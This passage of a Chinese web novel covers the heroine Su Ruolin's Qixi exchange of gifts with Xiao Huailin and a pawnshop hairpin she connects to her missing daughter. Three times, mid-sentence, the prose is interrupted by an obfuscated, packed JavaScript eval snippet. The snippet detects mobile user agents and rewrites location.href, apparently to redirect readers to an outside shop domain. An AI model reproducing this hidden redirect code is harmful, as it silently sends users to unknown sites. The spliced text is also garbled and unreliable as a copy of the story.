七夕 因着今日要为攻城皋阳做准备,整个军营上下都开始忙了起来,就连空气中都弥漫着几分忙碌和紧张的气息。 苏若琳不好继续打扰萧怀琳干正事,用过早膳之后,便回到了自己的军帐。 掀开军帐厚重门帘的那一刻,她还在想,如今陈姨娘已经死得透透的了,这以后没人伺候她,凡事都要亲力亲为咯。 不过其实也还好,她毕竟不是真正十指不沾阳春水的大小姐,这要放到她前世,就算是真的豪门大小姐那也得多少会点家务。 只是当她走进军账,看到里面的景象时,却还是愣了一下。 “......青芙?”苏若琳迟疑地喊了一声。 只见青芙正在给她的软榻整理被褥,昨日她胡乱放到桌上的首饰们皆被收走,放回到了首饰盒子里,帐内原本东倒西歪的凳椅如今也全都整整齐齐地码好,整个军帐都被收拾得井井有条。 听到呼唤,青芙扭过头,见到是苏若琳回来了,连忙朝她行了一礼:“苏小姐。” 望着青芙脸上那副微微泛着寒光的银色面具,苏若琳不禁联想到了同样的戴着银色面具的另一个人,以及昨夜她和那个人在一起时,被面前人撞到的情景。 昨夜大雨滂沱,她和萧怀琳缠绵悱恻之时,青芙闯入了军帐,恰好撞到了他们两个在,在...... 在做那种事。 想到此,苏若琳不禁老脸一红。 “咳......青芙你来找我有什么事么?” 青芙略微颔首:“回苏小姐,如今陈姨娘已死,王爷担心您没人伺候不习惯,于是派奴婢过来伺候您。” 啊,是这样啊。 苏若琳心头一暖,这臭小子还挺贴心的。 这般想着,她的脸上不禁浮现出了一丝温暖的笑意。 “好,那就麻烦你了。” 怪道前世总听别人说陷入爱情中的女人幸福呢,有一个这么帅气多金还体贴细致的情郎,不幸福才怪嘞。 不过...... 苏若琳回过神望向青芙那双银色面具下的眼眸,为什么,她感觉自己居然从对方的眼中看到了一丝兴奋,还有......欣、欣慰?! 不过这眼神只维持了一瞬,下一刻青芙便恢复了正常。 苏若琳揉了揉眼睛,心道不会是因为自己昨夜觉睡得太少,眼花了吧? 正想着,青芙给她倒了一杯奶茶:“今日天凉,苏小姐喝杯热奶茶暖暖身子。” 苏若琳接过奶茶一饮而尽,热奶的暖意顿时沁入她的心脾,让她舒服得整个人都放松了下来。 这一放松,原本就因着睡眠不足而产生的困意顿时如潮水般袭来,苏若琳打了个哈欠,很快便躺倒在了软榻上,沉沉地睡去。 而这一觉,竟然直接睡到了晚上,当她再次睁开眼睛时,皋阳城已经被拿下,全军上下正在收拾行囊进城。 经此一战之后,整个萧军都肉眼可见地忙了起来。 忙到什么地步呢?忙到苏若琳几乎每日都找不到人。 不管是萧怀琳,还是老爷子,亦或纨玦和纨枫,一整日都见不到他们中的任何一个竟成了常有的事。 不过这种忙碌的成果也是十分显著的,自皋阳一役后,萧军一路高歌猛进,不出半个月就接连攻克了五座城池。 其速度之快,气势之猛,如同一群饿得眼睛发绿的饿狼们进入了羊圈,开始疯狂地、不顾一切地捕杀猎物。 这是一群由萧怀琳这头狼王亲手调教起来的恶狼。 这些日子里,苏若琳感觉自己不是在行军的路上,就是在行军的路上。 不过也托奔波劳累的福,这些日子里她几乎是沾榻就睡,一睡就是大半日,醒来用完膳就赶路,赶路到了半途继续睡。 就这么吃了睡睡了吃,一个人竟也不觉得无聊。 军队一路往西打下来,盘算着日子,竟然已经到了七月初,距离他们离开京城已经一月有余了。 而且......步入了七月,那么七月里的第一个节日——七夕,竟然也快到了。 往年七夕,苏若琳是从来不当回事的,毕竟她一个早年丧夫的优雅少妇,在外面也没有什么汉子,每年看着街上的小情侣手挽着手,一起去放花灯,她还有些嗤之以鼻。 那个时候她没有想到啊,对于一个年轻貌美的优雅少妇来说,外边的汉子是早晚都会有的。 哪怕从前没有,往后也会有的。 就比如现在,这不就有了。 只是如今她跟着军队一路西征,也没条件去好好准备一些精心的礼物,想来想去,最后决定路过打下的城池,买一些针线布料,亲手给萧怀琳绣一个香囊。 那小子平日里用的熏香都是同一种,想来是十分喜欢这种味道的,给他绣一个香囊随身带着应当不错。 只是绣什么呢...... 卖给她布料的老板娘一眼就看中她的心思:“若是七夕送给夫君的话,绣个鸳鸯定然是不错的。” 夫,夫君?! 苏若琳的脸“涮”地一下就红了起来。 老板娘见她年岁不大,却梳着妇人髻,只当是嫁人没几年的新妇,见此不禁抿嘴笑道:“正所谓良缘佳偶,永结同心,料想这位夫人应当夫妻感情甚好,绣两只鸳鸯再好不过了。” 话是这么说的没错,但是...... 那不是她夫君啊!最多算她在外边找的汉子! 苏若琳红着脸轻咳了一声:“那个,嗯......鸳鸯有些复杂了,有没有简单一些的?” 闻言,老板娘惊讶地看着她,面前的贵夫人看起来温文尔雅,怎地居然不会女红? 但随后老板娘便注意到了她那双保养得细嫩光滑的手,恍然大悟。 原来如此,这是位十指不沾阳春水的高门贵妇,平日里甭管是细活还是粗活都是交给下人做的,自然用不着会什么女红。 也是,只有这样的人家,才能有闲情逸致给丈夫绣香囊啊。 老板娘越想越觉得合情合理,当即找出了先前画过的鸳鸯图纸,笑眯眯地递给苏若琳:“那您照着这个绣,保管您一学就会!” 苏若琳不禁暗叹这老板娘真会做生意。 她打开那张鸳鸯图纸一看,只见两只颜色缤纷的鸳鸯亲昵地依偎在一起,那亲密的姿态和神情活灵活现,仿佛真的活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689583|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来了一般。 苏若琳看着这张图纸,不知怎的就想起了萧怀琳把她搂在怀里,亲昵蹭着她鼻子时的情景。 脸上的红晕登时蔓延到了耳根。 鸳鸯么...... 最后她到底是收下了那张鸳鸯图纸,按照图纸上的模样,一针一线,从早绣到晚,最后终于赶在七夕当日将香囊绣好了。 只是苏若琳拿着这才刚修好的香囊左看右看,怎么看都觉得不太满意。 鸳鸯嘴那部分线有些歪了,羽毛用的线有些杂了,显得花里胡哨的,尾巴那里的线头也有点明显…… 她重重地叹了口气,底气不足地问青芙:“是不是不大好看?” 青芙看了那香囊一眼,眼中再次流露出了那种兴奋中又带着几分欣慰的神色:“奴婢觉得很好。” “那,咳咳......”苏若琳的声音细若蚊蝇,“他应该不会嫌弃吧?” 青芙含笑道:“无论您送什么,王爷都会喜欢的。” 苏若琳原本白皙的俏脸登时一红:“你这丫头真会说话。” 青芙笑而不语。 她说的可都是事实啊。 好不容易做足了心理准备,苏若琳终于下定决心出门去找萧怀琳,只是今日萧怀琳似乎特别特别得忙,竟比往日还要忙上许多。 忙到什么地步呢,她今日找了萧怀琳不下八次,每次他不是去开会了,就是去审阅兵阵了,再或者就是忙着写批文。 她不好因为一点私事就去打搅军营的正事,枯坐在帐前干瞪着不远处萧怀琳的军帐,就这么等了整整一天。 眼见着夜色越来越深,估摸着时辰,竟然都要到子时,苏若琳无奈地摇了摇头,转身回了帐里。 青芙正在挑拨油灯里的烛芯,见到她进来,不由得问道:“您不再等等吗,兴许王爷待会就来了?” 苏若琳苦笑:“不等了,他忙了一天,肯定也累了,让他早点休息吧。” 她话音未落,一道熟悉的声音自帐外响起:“真的不再等等吗?” 听到这声音,苏若琳不可思议地瞪大眼睛,一颗心“咚咚咚”地,跳得又快又急,仿佛都要通过她的嗓子跳出来一般。 她连忙回过头,便见到一只骨节分明的细长大手掀开了军帐厚重的门帘。 随后,那个许多日未曾见到,已经让她有些想念的少年郎探进头来,含笑望着她。 少年郎俊俏的脸上难掩疲惫的神色,甚至于透过那副银色面具,都能清楚地看到他眼底的乌青,想来是有相当一段日子没有睡好了。 但即便如此,面前的少年郎仍旧展露着温柔的笑意,仿佛一支散发着清新芳香的茉莉,令人原本慌张的心在霎时间便宁静了下来。 萧怀琳走进军帐,在苏若琳期盼的目光中缓步来到她面前,伸出那只满是伤疤的大手揉了揉她的发顶:“抱歉,我来晚了。” 苏若琳一张俏脸涨得通红,小声道:“没,没事,也不算很晚。” 末了,又关切地看了他一眼:“你这段日子辛苦了。” 萧怀琳含笑着牵起她的纤纤玉手,温声发出邀请:“今夜月色很不错,我们出去看看吧?” 111. 我爱你 今夜天气很好,无数萤火虫翩翩飞舞着,点亮了一整片草地。 温润如玉的翩翩少年郎牵着心上人的手,缓步来到一片干净的草地坐下,在被皎洁的月光和灵动的萤火包裹着的夜色里,扭过头看向身侧的人儿。 月色很美,景色也很美。 面前的人儿更美。 他伸出手臂将身侧的人儿揽进怀里,低下头轻嗅着心上人的芳香。 “是不是等我很久了?” 苏若琳在他的怀里换了一个舒服的姿势,伸出一只白皙的纤纤玉手,粉嫩的指尖轻轻划弄着面前人的锁骨:“还好,也没有很久。” 只不过是等了一整日罢了。 萧怀琳牵过她那只不安分的玉手,举到唇前轻吻了吻,含情脉脉地看着心上人倾城般的面容:“下次你再找我时,如果我没在帐里,就给我的侍卫们留个话。” 苏若琳轻轻摇了摇头,声音温婉:“没关系的,我这都是些小事,不能耽误了你的正事。” “不是小事。”萧怀琳的脖子被心上人头顶的发丝蹭得发痒,连带着他的声音都多了一丝沙哑,“有关你的事情,都是大事。” 这低沉又带着几分磁性的声音落入苏若琳的耳中,如同柔和的月光裹挟着四周的萤火,一通钻进了苏若琳的胸腔,点亮了一整颗心脏。 她的双颊微微发烫,嘴角不由自主地勾起了一抹微笑,怎么压都压不下去。 “好。” 萧怀琳目光温柔,低头吻了吻心上人的额头:“我有个东西要送给你。” “嗯?”苏若琳的眼睛赫得一亮,原本害羞的内心顿时激起了一丝小水花。 难道他也记着今日是七夕节么? “是什么?”她面上努力装作平静的模样,然而语气中却充满了无法抑制的欢喜。 萧怀琳轻声笑着,变戏法似的不知从哪掏出了一块令牌,递到了心上人手中。 苏若琳接过令牌的瞬间,眼中便流露出了惊讶的神色,这令牌是用暖玉雕刻而成,握在手里十分得温润,恰似面前温润如玉的少年郎。 她将这块令牌举到月色中定睛一看,只见暖玉做成的令牌映着皎洁的月光,正散发着一层柔和的光晕。 这令牌样式简单,上面的花纹不甚复杂,并不是多么精致的物件,只是...... 只是,在这块令牌的正中央,刻着的一个大大的“宁”字,十分醒目。 苏若琳驀地瞪大双眸。 这,这是......宁安王府的腰牌?! 惊讶之时,头顶响起了一道温柔的声音。 “这是宁安王府的腰牌,见此腰牌如见我。” 萧怀琳注视着怀里心上人惊讶的俏脸,眉目含情道:“行军条件苛刻,我准备不出什么更好的礼物,待我们回京以后,再补给你更好的。” “若琳,七夕快乐。” 低沉又带着几分的嗓音如同一汪暖流,缓缓淌过苏若琳的心间,她抬起头,恰好撞入了面前人比月色还要温柔的目光。 皎洁的月光映着她通红的俏脸和羞涩的目光,她朱唇轻启,一声娇嗔响在安静的草地。 “笨蛋......” 这个礼物哪里是不好,这简直太贵重了。 这块腰牌是面前人身份的象征,将这么重要的东西交给她,代表着萧怀琳对她最体己的信任啊。 若要说因着先前萧怀琳不肯将从前的往事告诉她,让她多少还心存一点芥蒂的话,那么在见到这块腰牌以后,她心里的那点芥蒂也彻底消失得无影无踪了。 她究竟何德何能,配得上眼前人这般真挚的爱意? 这般想着,苏若琳紧握着香囊的另一只手不由得往袖子里缩了缩。 和这块腰牌一比,自己的香囊也太寒酸了! 然而人往往越是怕什么就越会来什么,她若是不遮掩,兴许萧怀琳还不会注意到,如今她这一缩袖子,眼前人的一双火眼金睛顿时就看了过去。 萧怀琳那双秀丽的凤目眨了眨,眼中满是温柔的笑意:“你也有礼物要送给我吗?” “没有!”苏若琳当即矢口否认。 “可是我看见了。”萧怀琳眼中的笑意更深了。 最后,在面前人目不转睛地注视下,苏若琳只好苦着脸把手里的香囊交了上去。 只见对方那只粗糙而又温暖的大手伸到她的眼前,自她手里接过那个简陋的香囊,她的心剧烈跳动着,强忍住想要一把夺回来的冲动。 他要是不喜欢怎么办?他肯定会不喜欢的吧? 想起眼前人过去对自己的种种好,苏若琳越来越心虚,越来越觉得自己不要脸。 苏若琳啊苏若琳,对方送你的礼物少说都得有好几车了,你怎么这么小气啊! 这个礼物这太寒酸了! 呜呜呜...... 然而萧怀琳并不知道他的心上人此刻恨不得给自己几个巴掌,他将手中的香囊举起,映着皎洁的月光,细细端详着。 那是一个墨蓝色的香囊,用的料子应是江南特产的月光织,这料子在皎洁的月光下映着细碎的微光,和他平日里穿的衣服颜色正是相配。 想来是心上人特意为了他精心挑选的料子。 而在那墨蓝的月光织上,则用各种颜色的线绣着一对五彩斑斓的鸳鸯,姿态亲昵地依偎在一起,两颗小小的头紧贴着,好不亲密。 萧怀琳的心霎时间柔软得一塌糊涂,他低下头看向正倚在他怀里,娇俏的脸上面露心虚的心上人,目光比这夜色里皎洁的月光还要柔和。 这绣得好像是他们两个呢。 他不由得低声问向怀里的人儿:“这是你自己绣的吗?” “嗯......”苏若琳根本不敢抬起头直视面前人,声音细若蚊蝇,“绣得不好。” “不,绣得很好。”温柔的声音自头顶响起,面前人轻轻吻了吻她的额头,“我很喜欢。” 比母亲送他的那只抹手膏子,那些金玉簪子,还有那床定做的琴,都更要喜欢。 这可是他的心上人一针一线,亲手给他绣的啊。 “你,你喜欢?!”苏若琳瞪大眼睛,声音都有些结巴,“可,可是......” 少年郎伸出手指轻轻按住了她的朱唇,温声笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715427|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“没有可是。” 指尖触及到对方柔软的唇瓣,仿佛抚摸在蓬松的棉花上一般,又仿佛是踩上了令人不由自主地沦陷。 “若琳......”萧怀琳不由得低声唤了一句,嗓音沙哑。 心上人闻言抬起头,那一张白皙娇俏的面容涨得通红,神情不知所措,却又带着一丝欢喜,映在皎洁的月光下显得格外动人。 他的喉结动了动,轻轻挑起心上人的下巴,吻住了心上人柔软的唇瓣,粗糙的舌头伸入心上人的口中,温柔得逗弄着,和她唇齿相依。 月色阑珊,照在这一对有情人的身上,四周万籁俱静,彼此的心跳和缱绻的气息便愈加清晰。 · 就在七夕节的第二日,萧军再次拿下了一座城池。 为了弥补昨日心上人等了他一天一夜,萧怀琳今日特意抽出了一整天的时间,陪心上人好好逛逛。 萱城的大街上仍有些萧瑟,这一路西征过来,苏若琳也算是看明白了,那些突厥草芥人命、肆意烧杀抢夺,这些城池被突厥占领的越久,便越是颓败。 她承认自己不能算是一个善人,来到这个和她阶级意识完全不同的世界,若是一直怀着一颗悲悯的心,她只怕早就死了。 而对于那些无力改变的悲惨事情,她能做的,只有不看。 眼不见,心为静。 所幸萧怀琳这小子有一颗仁爱百姓的心,所统领的萧军竟也都关怀百姓,刚一来到萱城,第一件事竟然是想各种办法安抚百姓。 所谓得民心者得天下,他的确是一个很好的君王。 正失神间,身旁的少年郎悄悄附到他的耳边,低声耳语道:“想什么呢?” 苏若琳被吓了一跳。 望着少年郎俊俏的脸上带着一丝得逞的表情,她红着脸瞪了面前人一眼。 陡然被凶了一下,萧怀琳不气也不恼,默默地牵起心上人的手,指着不远处的一个当铺:“那家店看起来好不错,进去看看?” 也不怪他选了家当铺,主要是萱城实在是太荒凉了,大街上根本没有几家能看得过去的店。 这一路走过来,这家当铺算是唯一能入得了萧怀琳的眼的。 只是苏若琳顺着他手指的方向定睛一看,却是微微愣住了。 这当铺的名字实在是...... 谁家当铺取名“五百二十一号”啊?! 萧怀琳看着她秀丽的双眸瞪得圆圆的,不禁心下疑惑:“你不喜欢吗?” 说着不由得一笑:“说来也是奇怪,这家当铺的名字竟然叫‘五百二十一号’,想来是有什么特殊的含义吧。” 苏若琳闻言回过神,看向身旁温润如玉的少年郎,与少年郎温柔得快要溺出水来的目光,只觉得自己的心融化成了一滩水。 她不禁露出一个神秘的微笑:“你不觉得,这五百二十一的三个数字,听起来有些不同么?” “不同?” 萧怀琳挑眉思索了一番,然而并没有思索出什么不同来:“有何不同?” “五、二、一。”苏若琳含笑望着眼前人,朱唇轻启,“我,爱,你。” 112. 珍珠步摇 我,爱,你。 简简单单的三个字,如同三块女娲昔日补天的巨石,从万丈高空漏了下来,砸入原本平静无波的汪洋。 登时,天地震动,波涛汹涌,溅出的水波淹没了萧怀琳的整个世界。 他的天漏了一块,砸到了地上,给地也砸穿了。 过了许久许久,萧怀琳终于从这场由心上人掀起的万丈波涛回过神来。 他看着眼前的心上人比繁星还要璀璨的笑意,下意识伸出手臂,将心上人拥入怀里。 然后,紧紧地,用力地收拢这个拥抱,想要将他心里漏掉的天地重新融入自己的身体。 苏若琳原本眼见着面前的少年郎白皙的脸庞和耳朵迅速变得通红,红得仿佛要滴血一般,刚想要调笑几句,却猝不及防被对方拥入怀里。 而后对方抱得越来越紧,紧到她险些喘不过气。 随后,她便听到面前人用着几乎是颤抖的声音,附在她的耳边小声道:“我也是。” 天地漏掉了也没有关系。 眼前的人,便是他的天,也是他的地。 苏若琳本意是想和眼前人开一个来自现代的谐音玩笑,呃,当然,这话也未必是玩笑话,她对眼前人定然是极喜欢的,只是要说到了“爱”那种程度...... 倒也还要差一些。 在她的心里,“爱”这个词是很高尚的,这意味着她愿意为了对方献出一切,哪怕自己的性命。 她自然也是愿意为了眼前的少年郎做许多事的,但要说献出小命的话......她还得再考虑考虑。 只是她没有想到眼前人竟然会有这么大的反应。 而且,而且......他怎么就能说出“我也是”的啊! 这下轮到苏若琳不知所措了。 但好在,这种不知所措并没有持续太久,面前的少年郎很快平复好激动的内心,温柔地牵起她的手,带着她走向那家当铺:“那我们去看看吧。” 面前的少年郎眼中仿佛闪烁着细碎的微光,闪闪发亮。 苏若琳微笑着点头:“好。” 可是她并不知道,她温暖的笑容落在少年郎明亮的眼眸里,仿佛穿越了时间的长河,看到了四年前的他自己。 他看到了四年前安定侯府的后花园里,母亲牵起当年尚且孱弱的他的手,脸上的笑容正如同现在一般温柔和煦,照亮了他的整个生命。 从前的他软弱无能,只能依靠母亲的庇佑才能勉强活下来,如今他的肩膀已经宽厚,身形已经挺拔,可是在他的心里,眼前人仍旧是他行走在这人世间的依靠。 如若没有了眼前人,那么这世间的一切都将不再有意义。 · “五百二十一号”当铺之所以如此取名,当然不是因为苏若琳所说的那个谐音。 这家当铺的老板祖上是前朝的一位大将军,大将军年轻时征战沙场,为前朝立下了汗马功劳,然其家乡却遭逢瘟疫,全族五百二十一口人全部丧命。 得知家人皆殒命,铁骨铮铮的男儿掩面痛哭,他戎马半生庇护家国,到头来却痛失了自己的妻儿父母,自此一蹶不振,没过多久便请辞归乡,用朝廷赏赐的抚恤开了家当铺。 也正因如此,将军立下祖训,后代子孙必须世代守护家乡,绝不可离开,无论天灾人祸,若有背离家乡者,逐出家族。 因此这家当铺才能一直屹立于此。 如今萱城历经这么一遭,别说指望着能有几个顾客了,凡是经过这家当铺门口的,只要不是乞丐,老板就得烧高香。 那老板没有生意也是闲得无聊,又观此二人皆锦衣华服,无论是仪态亦或面容皆贵不可言,于是也愿意将这当铺的故事侃侃而谈,权当结交贵人了。 而听完这个故事,苏若琳心里一阵唏嘘。 萧怀琳微微叹了口气:“这将军大抵很绝望吧。” 正如同当时突厥入京后,自那些突厥杂碎手中救下心上人的他。 如若他晚来了一步,没能救下他的心上人,那么他的心境绝不会比这位前朝将军更好。 没有了心上人的江山,根本就没有任何的意义,到那时,他根本不知道自己会做出什么。 萧怀琳这般想着,低头看着身上人唏嘘的神情,只见那张倾城般的绝色面容上,眼眸流光溢彩,面色白皙又透着几分红润,是这样的灵动,富有生机。 好在,上天毕竟是眷顾他的,他到底是救回了他的心上人。 如今竟还能牵着心上人的手,和她并肩行走在这个世界。 萧怀琳正失神间,苏若琳已经踱步走进这家当铺,环顾着四周的物件。 因着萱城刚历经一波劫难,家祸人亡者不计其数,大多活当也都成了死当。 也正因如此,这家铺子虽然在这乱世里支撑下来了,但也不可避免地陷入了银两周转的困境。 她在当铺内逛了一圈,里面什么东西都有,透明到几乎能和玻璃媲美的翡翠,足金镶满宝石的头冠,还有金丝楠木的家具......甚至还有许多庄子的地契。 可想而知这座城池从前定然也是极其富裕的。 一想到方才这一路走来萧条无比的大街,苏若琳不由得叹了口气。 亡,百姓苦啊。 这般想着,一支珍珠步摇忽地进入了苏若琳的视线,她不可思议地瞪大双眸,几乎是小跑着来到这支步摇面前。 这,这支步摇! 老板见她竟对这珍珠步摇感兴趣,当即恭敬道:“这位夫人,您可以将这步摇拿起来仔细瞧瞧。” 闻言,苏若琳连忙拿起这支步摇,举到眼前仔细地端详着。 只是拿起这只步摇的手却是止不住地颤抖。 这支步摇并非是足金的,但是镂空的样式极其精巧,上面嵌满了由小珍珠拼成的蝴蝶,看起来可爱得很。 想来是专门给尚未及笄的小姑娘制作的,之所以用了镂空,兴许是怕足金太过沉重,小孩子的头承受不住。 苏若琳看着这支步摇,几乎是在霎那间便红了眼眶。 这,这支步摇一定是...... 萧怀琳走近细看心上人手里的步摇,那双秀丽的凤目中,难以置信的神色一闪而过,心里已然掀起惊涛骇浪。 这支步摇,母亲曾送过他一模一样的,当年离开侯府时也被他一起带走了。 如今那支步摇正在他随军的包袱里放着。 和眼前这支别无二致。 他努力隐藏起自己情绪,装作一副平静的模样,轻声问身旁的心上人:“你喜欢这支步摇吗?” 闻言,苏若琳堪堪回过神,待她扭过头看向身边人时,早已泪流满面。 “萧怀琳,我找到我女儿的线索了!” 萧怀琳听见面前的心上人这般哭道。 随后苏若琳拿着这支步摇赶忙到老板面前,哭腔中又带着几分焦急:“老板麻烦你,将这支步摇的当契拿过来给我看看可好?” 典当的当契向来一式两份,店铺自留一份,典当人带走一份,当铺老板一听方才这夫人口中的话语,便知事情不简单,连忙去内间找当契。 半晌过后,老板拿着当契走了出来,递给苏若琳。 只是老板脸上却带着几分哀色:“夫人,这当契上的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723396|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,已是两年前了......” 倘若这位夫人的女儿失踪曾经过此地,那也已是两年以前,如今萱城都历经过了一场战乱,早已物是人非,这条线索怕是给不了多少帮助。 “两年前......”苏若琳喃喃着,纤细的玉手不断摩挲着手里的步摇,泪水不断地汹涌着。 如今距离婉枝失踪已有四年了,她的婉枝为何会在失踪的两年后出现在千里之外的萱城? 那个孩子......她到底都遭遇了什么? 萧怀琳眼见着心上人哭得肝肠寸断,连忙将她拥入怀里,只是他薄唇微张,却不知道该如何安慰。 他要怎么安慰他的心上人呢?难道要告诉她,这个步摇不是她女儿的,这只是一个巧合吗? 他知道,现在说这种话,他的心上人非但不会相信,只怕还会更伤心。 ......除非他摘下面具向她坦白一切。 半晌,萧怀琳叹了口气,伸出大手轻轻抚摸着心上人的发顶,语气轻柔:“你的女儿一定会没事的,她失踪了两年都还能在这里典当首饰,这就说明她一定还活得好好的对不对?” “你想想,如果那孩子真的遭遇了不测,身上的首饰怕是早就被掳走了,怎么可能还会出现在当铺?” 闻言,苏若琳这才后者后觉地点了点头,抽噎着拿起那张当契仔细看了看。 然而在看到那张当契上的名字时,却是眉头一皱。 “楚......湘?” 听起来像是个女子的名字,可是,这不是她的婉枝呀! 只见当契上的“楚湘”二字极为娟秀,典当者定然写得一手好字,可是她的婉枝的字迹也不是这样的。 她的婉枝字迹苍劲有力,入木三分,更像是个男子的笔迹。 好不容易平复了心情,此刻再一见认错了人,苏若琳难掩失望的神色。 萧怀琳显然也看到当契上的名字,如释重负地松了口气:“看来是认错了。” 而在放松之余,他的心里也不禁涌过一阵暖流。 原来母亲这般在乎他,即便已经过去四年了,母亲仍旧记得当初都送给过他什么物件,甚至在看到一模一样的物件时,竟然会哭得这般伤心。 “不要伤心了。”萧怀琳轻声哄着面前的心上人,“我们再看看其他东西怎么样?” 只是苏若琳并没有理会他,甚至可以说,苏若琳根本就没有听见他说的话。 苏若琳的手紧紧地攥着那张当契,原本就有些泛黄的纸张逐渐被攥得褶皱成了一团。 若这步摇真的是婉枝所当,那起码能说明婉枝在两年前还好好的,说不定还是自由的。 可如今这样一来,她的婉枝再次生死未卜了…… 那老板见自己的当契在这位夫人手里居然被攥成了纸团,连忙惊道:“诶呀,夫人,我的当契啊!” 虽说这步摇已经成了死当,可这当契还有用呢! 他说这就要上前把苏若琳手里的当契拿回来,却在萧怀琳冷如冰霜的眼神中败退下来。 萧怀琳叹了口气,继续轻声哄着心上人。 “若琳,我看那个满翠的翡翠镯子不错,买来给你做礼物好不好?” 只是这一次,无论他怎么哄,心上人始终抿着唇,一言不发。 不知过了多久,苏若琳将那支步摇连同当契一同丢回到柜子上,径直离开当铺。 “若琳!”萧怀琳见状连忙追了出去。 临离开前又看了那翡翠镯子一眼,飞快地甩过去一沓银票,同时给身后的侍卫使了个眼色。 “若琳,等等我!” 113. 他的字迹 自当铺归来以后,苏若琳便一直魂不守舍。 萧怀琳一路上用尽了浑身解数,却仍旧没能让心上人露出一个笑容。 等回到了暂住的府上,一堆事务又纷纷砸了过来,忙得他焦头烂额,再没有时间去开解心上人。 只好吩咐青芙,若是苏若琳有任何情况或是想要见他,一定要第一时间通知到他。 苏若琳自然是不想见他的,又或者说,在萱城的一连几日,她都闭门不出,谁也不见。 她的闷闷不乐实在是太过明显,明显到即便是忙到起早贪黑、几乎脚不沾地的杨纨玦杨纨枫两兄弟也注意到了母亲的不对劲。 他们也去找母亲安慰询问过,无论是分别去,还是两人一起,无论是单刀直入,还是旁敲侧击,却始终没能找到原因,而母亲的心情也并没有便好。 “你们两个这些日子天天往我这里蹿,公务怎么办?”苏若琳哭笑不得地看着坐在对面的杨纨枫,“我知你们最近忙,我这边没什么问题,你们先去忙正事,等闲下来以后再来找我也不迟。” 连着数日在母亲和公务之间连轴转,杨纨枫俊俏的脸上难掩疲惫的神色。 他沉默了片刻,最终道:“大姐的事情,等西伐结束,我一定会想办法搜寻大姐的下落。” 昨夜,他去了母亲和王爷去过的那家当铺,也了解了始末原委。 大姐一直是母亲的心病,也是侯府最忌讳谈论的话题。 他完全没想到,他们如今都出了侯府,甚至到了距离京城千里之外的地方,竟还能这般碰巧地遇到能让母亲触景生情的事物。 “从前儿子年纪小,很多事情无能为力,但是如今儿子已经拜官入仕,很多从前做不到的事情,如今都可以一试了。” 这般说着,他迎着母亲惊讶的目光,将那支珍珠步摇拿了出来。 “这支珍珠步摇多少也算是一条线索,等儿子归京后,会试着从这支步摇查起。” “母亲。”杨纨枫将那支步摇递给苏若琳,“这步摇您拿着吧,若是想大姐了,就把这步摇拿出来看看。” 既然躲也躲不过,那就不要躲了,日后带着这支步摇,睹物思人,多多少少还能有些盼头。 苏若琳微微颤抖着接过那支步摇,紧紧地攥在手心里,眼眶已经变得通红。 可是她也终于露出了这些时日以来,第一个发自内心的笑容:“好。” 见到母亲终于露出笑容,杨纨枫也跟着笑了。 苏若琳红着眼睛看着面前的翩翩少年郎,曾经那个瘦弱得跟只小猴子一样的孩子,如今已经长成能够独当一面的模样了。 半晌,她缓缓开口,语气中带着些许鼻音,话语间却满是欣慰:“我的纨枫长大了。” 杨纨枫笑得愈加温暖:“以后母亲再遇到任何事情,都可以来告诉儿子。” “儿子如今也可以为母亲分忧了。” 迎着母亲欣慰的目光,他又趁机询问了母亲这些时日以来的近况,说了许多体己话,这也是这对母子自突厥入京后的第一次促膝长谈。 得知宁安王并没有再欺负母亲,让母亲受什么委屈之后,他缓缓松了口气。 杨纨枫自母亲的院子里离开以后,苏若琳的心情明显好了许多。 翌日,朝廷派来交接的官员到了,将城中事务全部交代完毕后,萧军也浩浩荡荡地自萱城出发,征战下一座城池。 过了七夕,天气也渐渐地凉了下来。 心情好过一些之后,苏若琳便一直在想,她先前在当铺里对着萧怀琳闹脾气,回来还冷了他一路,是不是过分了些。 那孩子满打满算也才十七岁,正是年少气盛、意气风发的年纪,又是整个大楚唯一的王爷、未来的皇帝,何曾受过这种委屈? 她也不知道这些时日里,那小子一直没有理她,究竟是因为太忙了,还是心里也憋着气。 思来想去,她决定还是去说点好话,哄哄那小子。 毕竟问题也是出在她身上。 这般想着,她下意识去问身旁的青芙:“你家王爷现下正在何处?” 然而话刚问出口,她就笑了,这几日心情萎靡,连带着脑子都跟着糊涂了,青芙这些日子一直在她身边伺候她,怎么可能知晓萧怀琳的下落? 青芙原本正在温奶茶,此时听她这么问,那副银色面具下的双眸赫得一亮:“苏小姐,您要找王爷吗?” “倒也不是......”苏若琳尚且有些犹豫,“若是他忙得话,那我就不打扰了。” “王爷不忙。”青芙连忙道,“王爷说过,若是您有事情找他,他无论何时都有空。” 